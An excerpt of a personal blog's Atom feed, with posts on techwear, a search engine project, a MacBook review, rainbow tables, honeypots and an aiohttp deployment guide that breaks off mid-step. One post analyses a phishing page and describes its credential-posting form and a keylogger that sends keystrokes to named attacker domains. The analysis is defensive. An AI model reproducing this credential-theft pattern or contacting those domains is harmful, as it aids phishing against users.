        <updated>2018-08-27T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>If you're anything like me, then one of your favorite things is seeing how much tech people can shove into absolutely anything because this leads us to two things: more IoT devices which act as a source of comedy where you laugh at their terrible security practices, and a closer look at our dystopian future where we will buy wiretaps to buy cat food on Amazon (oh wait, we already do that). Thankfully you can't hack clothes as nobody has put the internet inside of them (not giving you any ideas), and all the tech in Techwear is mainly based upon advanced materials and functionality, that is technicality instead of technology. This article should serve as an introduction to the only fashion style where a &gt;$1000 price tag is actually justifiable.</p>
<h3 id="0x100construction">0x100: Construction</h3>
<p>The most important part of Techwear is obviously: the tech. This section will go through the main parts of what makes Techwear so… techy. While there are many innovations currently being made such as Volleback's jacket made out of <em>HECKING GRAPHENE</em> (no seriously look it up, it's amazing), we will mainly be focusing on the more common parts of Techware you will see - waterproof breathable fabrics.</p>
<h4 id="layers">Layers</h4>
<p>Waterproof breathable fabrics are tasked to: repel and hold its own against moisture, downpour, and allow water vapour and moisture from within to escape, keeping you dry. This is made possible by shells layers which are three in total, but separated into two main parts.</p>
<p>All layers are composed of the outer layer also known as the face fabric, responsible for being presentable and functional from which it inherent from fabric such as polyester, nylon, cotton-twill, etc. With a durable water repellent (DWR) treated to the outer layer to prevent saturation by water. Creating a high surface tension causing water to “bead”, running off preventing clothes from being damp from long periods of downpour.</p>
<p>The inner layer is composed of two parts, the second layer comprises of a laminated membrane or a coating, and the third layer known as the liner. The membrane is tasked to be breathable and waterproof, through its pores that allow water vapor molecules to escape, but small enough to not let liquids from entering. Coating, made from polyurethane, is capable of being lighter than laminate and significantly cheaper to apply. But falls sort in its breathability, however new methods of application such as microporous coatings and monolithic coatings helps improve in this nature. Simply and lastly, the liner a mesh used for protecting the membrane.</p>
<h4 id="waterproof">Waterproof</h4>
<p>Waterproof fabrics resist liquid from passing through. There is no standard for testing waterproofness in fabrics. One method of testing is known as the static column test. Measured in millimeters, is determined by the amount of water it can hold by placing a tube with a 1x1 (inches) dimension over fabric, so if a jacket had the rating of 5,000 mm the tube will be able to hold water up to that height before it begins leak.</p>
<h4 id="breathability">Breathability</h4>
<p>Breathability or moisture vapor transmission rate is measured by the rate at which water vapour passes through, in grams of water vapour per square meter of fabric per 24-hour period (g/m2/d), often abbreviated to just "g". Methods for measuring breathability by fabrics also differs from manufacturers and results vary in tests and real world conditions thanks to temperature, humidity and pressure. A method of testing is similar to water, but with vapor and how much it can past through in a square meter from within to outside within 24 hours. So a rating of 5,000 would allow 5,000 grams of water vapor to pass through a period of 24 hours.</p>
<h3 id="0x200clothes">0x200: Clothes</h3>
<p>In this section we will go through common pieces of Techwear clothing and look at their purpose. Most Techwear brands favour a form of layered clothing as it it allows them to offer "technical" or "functional" clothes which are optimized for the particular demands of a specific layer.</p>
<h4 id="shelllayer">Shell Layer</h4>
<p>The outermost clothes are called the shell layer. This generally just refers to a jacket, but the term shell is used by companies that specialize in technical clothing as it implies a greater layer of protection from the outside. Such features a shell would come with is water resistant, wind proof, heat retention and more. Shells go into two categories, the hardshell and the softshell.</p>
<p>The hard-shell is the primary layer, often the most expensive piece to the arsenal. The hardshell provides the most function and durability out of an entire fit, allowing other layers mainly for added insulation to go beneath it. When looking to purchase a hardshell, look for an explicit description of the production functionality, although a hardshell will always home waterproof and breathable functionality this is a general rule that goes into all functional pieces you plan on buying.</p>
<p>The softshell, given by its name isn’t as durable as the hard shell, however it does share many qualities. The common tradeoff between the softshell and a hard-shell is ease of use and mobility. Softshells often try to combine partial or full water resistance with partial or full wind breaking ability. In many cases insulation is also combined in an attempt to replace several layers with a single highly flexible one.</p>
<p>If heavy sweating is expected, you should avoid wearing any shell layer garments unless their protective properties are essential. For example, if you're jogging, no traditional shell layer is likely to be able to transfer enough moisture to keep you feeling dry, however a shell would be essential for hiking in the snow.</p>
<h4 id="midlayer">Mid Layer</h4>
<p>The mid layer is needed in cold weather to provide additional insulation. The use of multiple thin layers facilitates adjustment of warmth. Fleece is a popular choice for this layer as it serves to be a great material for body regulation, providing the much needed breathability and moisture wicking needed in order to stay comfortable when layering this under ones hardshell. An alternative to fleece is down, which a fine layer of feathers with its natural ability to trap air makes them affordable insulators, and padding that some might come to love. When shopping in for this layer look for hoodies, vests, sweaters, and jackets.</p>
<h4 id="innerbaselayer">Inner/Base Layer</h4>
<p>Given by its name, the base layer is the absolute bottom layer in any fit. The purpose of the inner layer is to draw the sweat away from the skin to the next layers. This would include the average: socks, underwear, undershirts, and shirts. In the functional clothing industry, they often carry attributes that levitate around making the wearer more comfortable, such things like this include: breathability, anti-bacterial, deodorizing, heat retention, stretchable etc.</p>
<p>Merino is the common material in this field, merino wool is wicking and a natural temperature regulator, very durable and long lasting, however buying clothes made of merino could be very expensive. Other brands, such as Uniqlo might use a blend of materials to produce layers that aid in function. Companies that practice such things tend to be much cheaper and don't provide the many functions gained by wearing a layer of merino.</p>
<h3 id="0x300stylesbrands">0x300: Styles/Brands</h3>
<p>This is everyone's favourite part. We will now look at what brands provide Techwear clothes and what style they will fit into. With this guide all you will need to do next is mortgage your house, sell your right kidney, and sacrifice your first born and you will be ready to feed the capitalist machine, further accelerating our descent into a dystopian society. But you'll look cool doing it, so it's all worth. And just because I'm so nice, I'll even give you an idea of how many kidneys you'll have to sell in order to afford each style, although keep in mind that this is a very general idea from my own experience of kidney selling, and that you may find that a 1 kidney style can have items that would need 12 kidneys.</p>
<h4 id="outdoors">Outdoors</h4>
<p>Heavily centered on protecting you from your environment wherever you may be: hiking, camping, snow sports, etc. Outdoors are made reliable, functional, inexpensive because of its abundance, and made stylish for us wear while in our less extreme urban environments. Look towards brand names like Arc’teryx, REI, Patagonia, The North Face, and Columbia for getting outdoor gear.</p>
<p><strong>General Price:</strong> 3 Kidneys</p>
<h4 id="athletic">Athletic</h4>
<p>Primarily made for sporting gear, athletic clothing is a easy way to obtain base layers, shells, footwear, made with simple functionality when shopping for the basic brands such as Adidas and Nike. Although kind of iffy in the community whether wearing all athletic gear should even be considered Techwear look at more designer gear like Adidas and Yohji Yamamoto's Y-3, and divisions of Nike that produce more technical clothing like Nike Gyakusou and ACG.</p>
<p><strong>General Price:</strong> 2 Kidneys</p>
<h4 id="military">Military</h4>
<p>Sporting the latest of fabric technology, brands that serve military contracts have the benefit to use their field tested innovations and integrate them into Techwear. Brands such as Arc'Teryx Leaf and Triple Aught Design have the edge to keep new technologies on the market in a distinct military style.</p>
<p><strong>General Price:</strong> 3 Kidneys</p>
<h4 id="causal">Causal</h4>
<p>Produced for day to day use, causal Techwear blends with the normalcy of our current fashion standards while incorporating features that helps the ease of commute and work in a professional environment. Styled very basic, and often business casual, casual Techwear is great for the grey man that keeps to him/herself, below the radar with great looking and highly functional clothing. Uniqlo and Outlier are the main brands you should look out for. ROSEN is also a pretty new brand that I quite like, although whether you can consider some of their collection as Techwear is debatable.</p>
<p><strong>General Price:</strong> 1 Kidney</p>
<h4 id="techfocused">Tech-Focused</h4>
<p>For the enthusiasts, and those with deep pockets who might want to chase after brands that focus on technicality over design. Tech-Focused brands as the name implies, center on fitting as many functions and features into their pieces in a very minimalist style, such as Stone Island, Arc’teryx Veilance, and Descente Allterrain. Constantly gaining the one up in the by community introducing garments with the latest and greatest in what technology offers.</p>
<p><strong>General Price:</strong> 4 Kidneys</p>
<h4 id="fashionover">Fashion-Over</h4>
<p>Opposing tech-focused brands, these brands are form first and functionality second. Brands such as North Face Purple Label, Y-3, and White Mountaineering choose to incorporate experimental technologies and construction in new and exciting ways and because of this, their function is never fully guaranteed, at least not on the level of other brands.</p>
<p><strong>General Price:</strong> 3 Kidneys</p>
<h4 id="utilitarian">Utilitarian</h4>
<p>Utilitarian or some brands in this category might fall into the communities favorite term "Techninja" which is centered around the futuristic dystopian military outlook. Utilitarian as a whole center themselves around this push for an ever-greater liberation in movements, incorporating various storage options, increasing ease of use, the addition of extra bells and whistles like Acronym’s gravity pocket, and often using the latest materials to come out of the woodworks. In case you haven't figured it out yet: this is the best one.</p>
<p><strong>General Price:</strong> 5 Kidneys</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[How The Fuck Do You Write A Search Engine?]]></title>
        <id>https://justin.duch.me/post/how_do_you_write_a_search_engine</id>
        <link href="https://justin.duch.me/post/how_do_you_write_a_search_engine"/>
        <updated>2018-07-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>Update 2019-01-25:</strong> Much like <a href="/post/spds_release">SPDS</a> I'm too lazy to maintain this, so it's now offline forever.</p>
<p>Following on with my previous article where we look at <a href="/post/how_do_you_write_a_blog">old, shitty code and rebuild it</a>, today we are looking at code I made for a school assignment. It was a search engine called 'viperidae' (I don't know how you are supposed to pronounce it) and was the first big software project I've ever done. You could even say that it was a MAJOR project… because it was. It was for my SDD Year 12 major project. But before we begin, I'll just get the question that everyone has right now out of the way.</p>
<p><strong>What mark did you get?</strong></p>
<p>95/100. I lost some marks because the parts of the documentation were lacking and because it only had 2 screens (there was a requirement for 3 screens, which is a STUPID requirement).</p>
<p>With that, we can now take a dive into the distant past of 2017.</p>
<p>This was my first repository on GitHub so you can go and look at it <a href="https://github.com/beanpuppy/viperidae-old">here</a>. Fun fact: if you look at the commit history (and ignore the terrible commit messages), you'll see that I actually started writing it a month (Dec 2016) before I was given the assignment (Jan 2017). I'm pretty sure that this is not allowed as you can't hand in anything you've created before the assignment is given, but as we all know: '<em>it's only cheating if you're caught</em>'.</p>
<p>Setting it up is pretty straightforward. Create a virtual environment, pip install requirements.txt, and then run run.py. If you did that then type 127.0.0.1:5000 in your browser's url bar which should show you this:</p>
<p><img src="/img/viperidae-old-start.png" alt="image-alternative" /></p>
<p>There are four fields to fill out here: search, depth, include external links, and seed. Unfortunately I don't have my original documentation which explained all of this and more, so I'll quickly explain why there are so many fields and what they do.</p>
<p>In case you don't know, writing a search engine is hard. Way too hard for any normal 17 year old, which caused me to cut a lot of corners. One of the biggest corners to cut was the entire 'index the entire web' part of a search engine. Because I was too dumb to understand any forms of concurrency or parallelism, I decided that I would not index any parts of the web because my web crawler was <strong>WAYYYY</strong> to slow. So it was decided that the web crawler would be a more integral part of the engine where the site was crawled during the search, instead of a precursor to it. This meant that in order to conduct a search, you also had to type in the website. This is the seed field. In the documentation I managed to frame this as '<em>creating more accurate searches by focusing on individual sites</em>'. Not the best excuse, but hey, anything for marks.</p>
<p>Now obviously I could have used something like Scrapy as a web crawler, which would have worked fifty billion times better than whatever I made. But I felt as though I was already using too many libraries and that I should write my own code. After all you wouldn't just import Essay would you?</p>
<p>However, that corner apparently wasn't cut enough. My crawler was still much too slow to crawl even a small website in a reasonable time. This is band-aided by the depth field which basically just limits how many pages are searched, which means I just let the user decide how long they want to wait.</p>
<p>The rest of the fields are just options for these round edges. search is obviously the item you want to search for and include external links determines if the crawler will crawl through links that aren't part of the seed website.</p>
<p>To be honest, that explanation covers pretty much everything I dislike about it. I've not really talked about the actual searching, but I don't expect myself to be able to create a super advanced algorithm to find exactly what you want. I just created something that worked well enough, as in it pointed you to a small house and said "ehhh it's somewhere in 'ere mate", ignoring the fact that you just asked for where it was in the small house.</p>
<p>Now is finally the time to look at the new search engine!</p>
<p>One of the big reasons I didn't like old viperidae was because it had no reason to exist as I had to hand wave a reason in the documentation. So now I've given the new on a real reason. It's a developer focused API for searching individual websites. It's a way for users to quickly create searching for their website with loads of special features. Although right now I haven't built any of the developer focused parts, I've built a redesign of the original engine. You can see a restricted, public demo <a href="https://viperidae.app">here</a>. If it were using the developer API, the website would already be indexed so the engine wouldn't have to crawl it. The API source is <a href="https://github.com/beanpuppy/viperidae">here</a> and the source for the public website is <a href="https://github.com/beanpuppy/viperidae-site">here</a>.</p>
<p>This is all pretty bare bones right now because I've spent most of my time learning some new stuff while redesigning the engine. Namely the fact that the crawler is now asynchronous and is much faster than the original. Although it's still not Scrapy fast, it shouldn't really matter because the websites should be indexed anyway.</p>
<p>There is still a lot to do (pretty much all of it). But I'm sure in another year's time, I'll look back at it and decide that it's garbage and remake it all again.</p>
<p><strong>Update 2019-01-25:</strong> Hey it's me from the top of the page, remember me? Anyway, ignore those last two paragraphs. Thank you.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[MacBook & MacOS First Impressions]]></title>
        <id>https://justin.duch.me/post/macbook_impressions</id>
        <link href="https://justin.duch.me/post/macbook_impressions"/>
        <updated>2018-07-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>A week ago I bought a new 2018 13" MacBook Pro. As my first dive into the Apple ecosystem, I'd say it went quite well (even if the thumbnail says otherwise). Here are my initial thoughts on it.</p>
<h3 id="hardware">Hardware</h3>
<p>These are some of the things I care about when looking at computer hardware in no particular order.</p>
<ul>
<li><strong>Keyboard:</strong> I actually like it more than normal membrane keyboards, especially laptop keyboards, mainly due to the short travel time. I would be using a mechanical keyboard instead so this wouldn't be an issue, except the next point makes it a lot harder.</li>
<li><strong>Output Ports:</strong> There are only 4 USB-C ports. That's it. It's cool that there is a headphone jack (that shouldn't deserve praise, but here we are), but 4 ports is not nearly enough for anyone, <em>ESPECIALLY</em> when the charger takes up one of them. I don't have any peripherals that even use USB-C, so I would have to buy dongles for all 4 ports, which is very stupid and a waste of money.</li>
<li><strong>The Touchbar.</strong> I kinda like it. I've been using it a lot more than I expected to. Going between a tactile keyboard to a touchscreen can be jarring, and I always have to look at what I'm trying to press, but I don't hate it. Except for the fact that it replaces the ESC key. <em>THIS</em> is the probably the thing I hate the most about the touchbar, even if it sounds stupid. The problem is that I use Vim for everything, which means I press ESC very often. I don't know where the ESC key is on the touchbar (because it's not tactile), so I always miss it. So now I've had to map caps lock to ESC (which was very easy to do actually), but this messes up my muscle memory as caps lock would normally be mapped to backspace for me.</li>
<li><strong>The CPU & RAM:</strong> I got the base model MacBook (i5 + 8gb) which is actually fine for me. So far I haven't come across any issues with it being too slow, nothing I do is very hardware intensive as most of the code I write is more I/O intensive than computation intensive. It gets the job done, although $2500 AUD for and i5 and 8gb of RAM is quite expensive.</li>
<li><strong>The Chasis:</strong> It looks nice. Actually, it looks VERY nice. I have no complaints, it feels like a premium product. Although, I haven't had much experience with other modern laptops, I'd say it's the best looking, and best feeling laptop on the market.</li>
</ul>
<p>So far these impressions are pretty mixed. It certainly doesn't look like it's worth $2500, but that's all changed with the software (sort of).</p>
<h3 id="software">Software</h3>
<p>I've used switched between Windows and Linux as my daily OS for most of my life, although Linux has been sticking around for much longer during the past few years. I've never touched MacOS for any more than five minutes before. So we are just going to look at whether we can do the same things on MacOS as we can on Windows and Linux.</p>
<h4 id="windows">Windows</h4>
<p><strong>Can it play video games?</strong>
No. Not the ones I want to play. Turns out that video games is all I use Windows for. Guess I'm still going to have to keep a separate computer for it then.</p>
<h4 id="linux">Linux</h4>
<p><strong>Can you rice it?</strong>
Yes, I think. Haven't looked into it because it already looks pretty good.</p>
<p><strong>Is the terminal powerful enough for me to be able to ignore everything else?</strong>
No. Even though I use zsh just like on Linux, MacOS doesn't let you do everything. It is good enough to do most of what I want however (it's light years ahead of Windows).</p>
<p><strong>Does it have a good package manager</strong>
Not really. Homebrew is helpful, but is in no way a replacement for something like Pacman, let alone the AUR.</p>
<p><strong>Does software constantly break because nobody supports Linux?</strong>
No. MacOS also has Sequel Pro, which is probably the best MySQL viewer in existence.</p>
<p><strong>Does Xorg break every time you update the computer?</strong>
No.</p>
<p><strong>Do you constantly have to go into conf files to fix things?</strong>
No.</p>
<p>Ok, it looks like this starting to become a rant on Arch Linux so I'm just going to stop here. The point is that MacOS, with all it's shitty proprietary software restrictions, is incredibly easy to use. Even though most of my issues with Linux are mainly from using a distro like Arch, it's been a whole week I haven't had any problems with it. I haven't had to mess with any drivers or config files, everything just worked out of the box.</p>
<p>A few years ago I probably would have hated this, because I preferred constantly breaking my computer and learning how to fix it. But now I have a job and actual things to do. I don't have time to spend a whole weekend reading man pages. Although I would say I have learnt enough where I could fix a problem that would have taken me a day to now only take a few minutes, I can't be bothered with it anymore.</p>
<p>Right now I have three computers running on three operating systems. Windows at home for video games, Linux at work (even though I probably shouldn't), and now MacOS for personal use. Based on this short experience I can pretty safely say that Windows is the worst operating system ever created, and is holding video games as hostage. Hopefully I'll be able to ditch Windows very soon and never have to come back to that dumpster fire ever again.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Learn To Draw Diagrams and You Learn About Rainbow Tables]]></title>
        <id>https://justin.duch.me/post/rainbow_tables</id>
        <link href="https://justin.duch.me/post/rainbow_tables"/>
        <updated>2018-07-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>As most people should know, a Rainbow Table is a way of mapping a plaintext to it's hash by storing the plaintext -&gt; hash combo in a file on the hard drive. However, storing every hash individually takes up an amount of space nobody could ever have. There is much more going under the hood of a Rainbow Table, and today we are going to look at how it attempts to minimise the memory it takes up.</p>
<p>Generating a Rainbow Table uses two key functions: a hash function and a reduction function. The hash function maps a plaintext to a hash.</p>
<p><img src="/img/hash.png" alt="image-alternative" /></p>
<p>While the reduction function maps a hash to a plaintext. The reduction function obviously does not generate the original plaintext of the hash, it is not an <em>inverse</em> hashing function because that should be impossible. What the reduction function does is create a new plaintext from the hash. The reduction function is a key part of the Rainbow Table and is very complicated. So for the purposes of this article, we will keep it simple. In our case we will have a reduction function that takes the first 7 characters of a hash.</p>
<p><img src="/img/reduction.png" alt="image-alternative" /></p>
<p>A rainbow table is made of up of chains of hashes and reductions. A chain starts with an arbitrary plaintext and ends with a hash. The plaintext will go through the process of being hashed and reduced millions of times. The table only stores the starting plaintext, and the final hash you choose to end with, and so a chain "containing" millions of hashes can be represented with only a single starting plaintext, and a single finishing hash.</p>
<p><img src="/img/chain.png" alt="image-alternative" /></p>
<p>Now that we have our table of chains. We can start looking for an unknown plaintext with a hash. Here is the process:</p>
<p><img src="/img/rainbow-process.png" alt="image-alternative" /></p>
<p>In this way you check through the hashes in the chains, which aren't actually stored anywhere on disk, by iterating column by column through the table of chains, backwards from the last column in the chain, to the starting plaintext.</p>
<p>The reason they're called Rainbow Tables is because each column uses a different reduction function. If each reduction function was a different color, and you have starting plaintexts at the top and final hashes at the bottom, it would look like a rainbow (a very vertically long and thin one).</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[An Introduction to Honeypots/Honeynets]]></title>
        <id>https://justin.duch.me/post/honeypot_basics</id>
        <link href="https://justin.duch.me/post/honeypot_basics"/>
        <updated>2018-07-09T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>A honeypot or a collection of honeypots (honeynet) is a controlled vulnerable system created to lure attackers. A honeypot appears to be a legitimate part of the site, but is actually isolated and monitored, and that seems to contain information or a resource of value to attackers. This allows honeypots to act as an early warning system, deceiving attackers, perhaps delaying and identifying them, and then ultimately supporting efforts to shut down the attack.</p>
<p>In general, you would use a honeypot to understand what is happening in key systems. If a web server is receiving thousands or millions of hits per day, it can be hard to differentiate between legitimate connections and attackers. Honeypots allow you to have a way to analyse attack traffic as your honeypot should have no legitimate users, allowing you to quickly identify attack traffic and create counter-measures.</p>
<p>There are 3 types of honeypots; low, medium and high interaction. Each type provides varying levels of security/detection difficulty, intelligence, and setup complexity. High interaction honeypots imitate the activities of the production systems that host a variety of services and, therefore, an attacker may be allowed a lot of services to waste their time. However, they use a lot of resources and can be complicated to setup. On the other hand, low interactions honeypots are easy to setup but provide the least amount of intelligence, as they only simulate the services frequently visited by attackers.</p>
<p>As an example, we will be looking at <a href="https://www.anomali.com/platform/modern-honey-net">Modern Honey Network (MHN)</a>, a honeypot management service by Anomali, which allows you to quickly deploy and manage honeypots. It utilises the HPfeeds protocol to centralise the data into a MongoDB instance for analysis.</p>
<p>MHN consists of a management server and one or more honeypots. The management server is where the honeypots send their data to, and creates a Flask app to make the data easily viewable from a web interface. A big advantage of MHN is it's simplicity and variety of honeypot deployment options. Honeypot deploy scripts include several common honeypot technologies, including:</p>
<ul>
<li><strong>Snort:</strong> An open source intrusion prevention system capable of real-time traffic analysis and packet logging. It is not a honeypot per se, but an IDS/IPS, and is very helpful to detect attacks on your network. Sourcefire (the creator of Snort) was a acquired by Cisco but the product Snort remains open source.</li>
<li><strong>Suricata:</strong> An IDS/IPS much like Snort.</li>
<li><strong>Dionaea:</strong> A low interaction honeypot which exposes services like SMB, MSSQL, SIP, HTTP, FTP, TFTP. It is mainly used to trap malware exploiting vulnerabilities exposed by services offered to a network, and attempts to get a copy of it.</li>
<li><strong>Glastopf:</strong> A very popular Python web application honeypot that has the ability to emulate thousands of web vulnerabilities. It is no longer actively developed but it is "maintained" according to the developers.</li>
<li><strong>Cowrie:</strong> A medium interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker. It has SFTP support, SCP support, direct-tcpip (proxying) support and many other features.</li>
<li><strong>p0f:</strong> A tool that that uses passive fingerprinting to identify the OS behind a TCP connection.</li>
<li><strong>Conpot:</strong> A low interaction Industrial Control Systems honeypot and basically emulates some protocols used in industrial environments.</li>
<li><strong>Wordpot:</strong> A WordPress emulator honeypot which detects probes for plugins, themes, timthumb and other common files used to fingerprint a Wordpress installation.</li>
<li><strong>ShockPot:</strong> A web app honeypot designed to find attackers attempting to exploit the Bash remote vulnerability CVE-2014-6271.</li>
</ul>
<p>From these, it should be easy to see the application of honeypots and their usefulness. However, as with any technology, there is no perfect solution. If compromised, a honeypot or honeynet can act as a springboard to launch additional system attacks to the "real" servers. In some cases, honeypots can decrease and organization's security by being more attractive to attacks and that the establishment of a vulnerable system can constitute as "gross negligence". In order for your honeypot to be effective, it must be monitored continually.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Let's Look At Malware I Got From Work]]></title>
        <id>https://justin.duch.me/post/bad_malware_analysis</id>
        <link href="https://justin.duch.me/post/bad_malware_analysis"/>
        <updated>2018-07-07T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Today we're going to be looking a malware I received from a phishing attempt on my work email. Although I have zero skills in malware analysis, this piece of malware is very simple and uninteresting so this shouldn't take very long.</p>
<p><img src="/img/wmal-email.png" alt="image-alternative" /></p>
<p>Here's the email I received (with sensitive information censored). It's a wetransfer download link to a HTML file, so it's already incredibly suspicious because who would send a HTML file? Anyway, let's pop this bad boy into a virtual machine.</p>
<p><img src="/img/wmal-html.png" alt="image-alternative" /></p>
<p>Fun fact: I forgot to create a snapshot before opening the file. Make sure to not do this. As you can see, the file is just a fake Office 356 login page. Which confuses me even more because you can see from the address bar that you aren't logging into Office so why would you put your details in? It also looks more like a Google login page rather than Outlook which is more confusing! Although I have heard that at least two people from my office have tried to use it, so what would I know. Getting back on track, let's go and look at the source code, thankfully it is only HTML and I don't have to do any real reverse engineering as we can just look at the source code in plaintext.</p>
<p><img src="/img/wmal-signin.png" alt="image-alternative" /></p>
<p>While most of the code is in minified JavaScript and I'm not bothered to go and un-minify it, we're just going to be looking at the stuff we can see immediately. The image above shows the HTML for the sign-in we saw earlier. <code class="prettyprint">validateForm()</code> is just a function to validate the email address, nothing interesting there. But we can see that it sends a POST request to <code class="prettyprint">kombiservis.co</code>, which would obviously be our attacker's domain.</p>
<p><img src="/img/wmal-check.png" alt="image-alternative" /></p>
<p>Going further down there's this interesting piece of code. I have no idea what it does, probably because it interacts with the minified code. Based on how it sets iframeUri to <code class="prettyprint">https://accounts.youtube.com/accounts/CheckConnection</code>, I'm going to go ahead and assume that it attempts to find if you're logged into YouTube and takes your credentials as the link is very similar to <code class="prettyprint">https://accounts.youtube.com/accounts/SetSID</code> which is what Google uses to log you into YouTube when using other Google sites, such as Gmail.</p>
<p><img src="/img/wmal-keylogger.png" alt="image-alternative" /></p>
<p>The last piece we're going to look at is this simple keylogger, which puts the keys enter in the tab into the variable keys and sends it as a GET request parameter every 10 seconds to <code class="prettyprint">wq14u.com</code>, which is a different domain to the one we saw earlier.</p>
<p>I've also heard from around the office that it sets up auto delete and reply rules on your email, which is probably something that's done when you enter your credentials into the form and POST them to the server.</p>
<p>All in all, a very simple piece of malware which I may come back to at some point to un-minify the JavaScript and see if does anything more interesting.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Basic Deployment Guide For Aiohttp + Gunicorn + Nginx]]></title>
        <id>https://justin.duch.me/post/aiohttp_deployment_guide</id>
        <link href="https://justin.duch.me/post/aiohttp_deployment_guide"/>
        <updated>2018-07-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>In this guide we will be setting up a basic aiohttp app using Gunicorn and Nginx because the documentation on this I feel is very poor, as it took me a good few hours to figure out. Or maybe it was because I haven't used any of these technologies before… Either way, I didn't understand the documentation so I'm writing my own.</p>
<p>This guide assumes you are using Python3 and a Linux operating system with Systemd as the init system (e.g Ubuntu, CentOS, …).</p>
<h3 id="0x100pythonvenv">0x100: Python Venv</h3>
<p>The first thing everyone should always do everywhere no matter where they are, or who they with, or where they come from, or where they are going, is set up a virtual environment for Python. If you're app doesn't use a virtual environment, you're an idiot and you should create one <strong><em>RIGHT NOW.</em></strong> Here's how:</p>
<p>Use the python module <code class="prettyprint">venv</code> to create a virtual environment called env (or anything else you prefer).</p>
<pre class="prettyprint linenums"><code class="bash language-bash">[user@okcomputer]$ python -m venv <span class="hljs-built_in">env</span>
</code></pre>
<p>And that's how you create a Python virtual environment. Now we want to install the <code class="prettyprint">aiohttp</code> and <code class="prettyprint">gunicorn</code> modules.</p>
<p>Source the environment:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">[user@okcomputer]$ <span class="hljs-built_in">source</span> <span class="hljs-built_in">env</span>/bin/activate
</code></pre>
<p>Install the modules:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">(<span class="hljs-built_in">env</span>) [user@okcomputer]$ pip install aiohttp gunicorn
</code></pre>
<p>That's all we need to get started for now. You can install any other libraries you want into the environment with pip.</p>
<h3 id="0x200aiohttpandgunicorn">0x200: Aiohttp and Gunicorn</h3>
<p>With our new Python environment we are ready to create an aiohttp app! If you don't know, aiohttp is an asynchronous HTTP server/client. It's very useful when you're creating a web crawler that uses asyncio, but when you attempt to call it through a normal web framework, it doesn't work because as it turns out every good framework in existence is a blocking program so nothing works. So then you look for a framework that supports asycnio, then you find aiohttp and you're like <em>'yeah this seems easy to use'</em>. But <strong>NOPE</strong>, it turns out the documentation sucks, and the documentation that is there is for a completely different technology stack so you have no idea what to do because you only know Apache and neither aiohttp nor Gunicorn have documentation for it. So then your like <strong><em>FUCK IT.</em></strong> I'll just buy another web sever, learn Nginx and put my crawler there'. So when you've finished setting it up and it works all nice and good, you've realised that it took way longer than it should have and so you write a blog post to rant about it because you don't like feeling as though it was wasted time.</p>
<p>For this guide are writing a simple aiohttp application which we will call <code class="prettyprint">myapp.py</code>.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-keyword">from</span> aiohttp <span class="hljs-keyword">import</span> web

<span class="hljs-keyword">async</span> <span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>(<span class="hljs-params">request</span>):
    <span class="hljs-keyword">return</span> web.Response(text=<span class="hljs-string">&quot;I work!&quot;</span>)

<span class="hljs-keyword">async</span> <span class="hljs-keyword">def</span> <span class="hljs-title function_">factory</span>():
    app = web.Application()
    app.router.add_get(<span class="hljs-string">&#x27;/&#x27;</span>, index)
    <span class="hljs-keyword">return</span> app
</code></pre>
<p>This is all we need to create a page that displays I work!. <code class="prettyprint">factory</code> is our coroutine that returns the application instance for Gunicorn to use.</p>
<p>Now we should test if Gunicorn is able to serve the project. We do this by name of the entry point (module) i.e. <code class="prettyprint">myapp</code>, and the name of the app or application factory, i.e. <code class="prettyprint">factory</code>, along with other Gunicorn settings provided as command line flags or in your config file. We will also use a custom worker subclass that aiohttp provides. The end result should look like this:</p>
<pre class="prettyprint linenums"><code class="bash language-bash">(<span class="hljs-built_in">env</span>) [user@okcomputer]$ gunicorn myapp:factory --<span class="hljs-built_in">bind</span> 0.0.0.0:8080 --worker-class aiohttp.GunicornWebWorker
</code></pre>
<p>Here we've also bound it to <code class="prettyprint">0.0.0.0:8080</code>, so now you can visit your server's IP address in the browser appended with 8080 and you should see I work!.</p>
<p>When you have confirmed that it works, you can close Gunicorn and deactivate the virtual environment.</p>
<h3 id="0x300systemdunit">0x300: Systemd Unit</h3>
<p>The next thing to do is create a Systemd unit file so that when our server starts it automatically runs Gunicorn and serves our app. Create a unit file in <code class="prettyprint">/etc/systemd/service/myapp.service</code>, where you can replace myapp with whatever your project is called.</p>
<pre class="prettyprint linenums"><code>[Unit]
Description=Gunicorn instance to serve myapp
After=network.target

[Service]
User=www
Group=www-data
WorkingDirectory=/var/www/myappdirectory
Environment="PATH=/var/www/myappdirectory/env/bin"
ExecStart=/var/www/myappdirectory/env/bin/gunicorn myapp:factory --bind unix:myapp.sock --worker-class aiohttp.GunicornWebWorker

[Install]
WantedBy=multi-user.target
</code></pre>
<p>In the <code class="prettyprint">[Service]</code> we map out the working directory and set the PATH environmental variable so that the init system knows where our the executables for the process are located (within our virtual environment). We'll then specify the commanded to start the service. Systemd requires that we give the full path to the Gunicorn executable, which is installed within our virtual environment.</p>
<p>Now we can start and enable the service:</p>
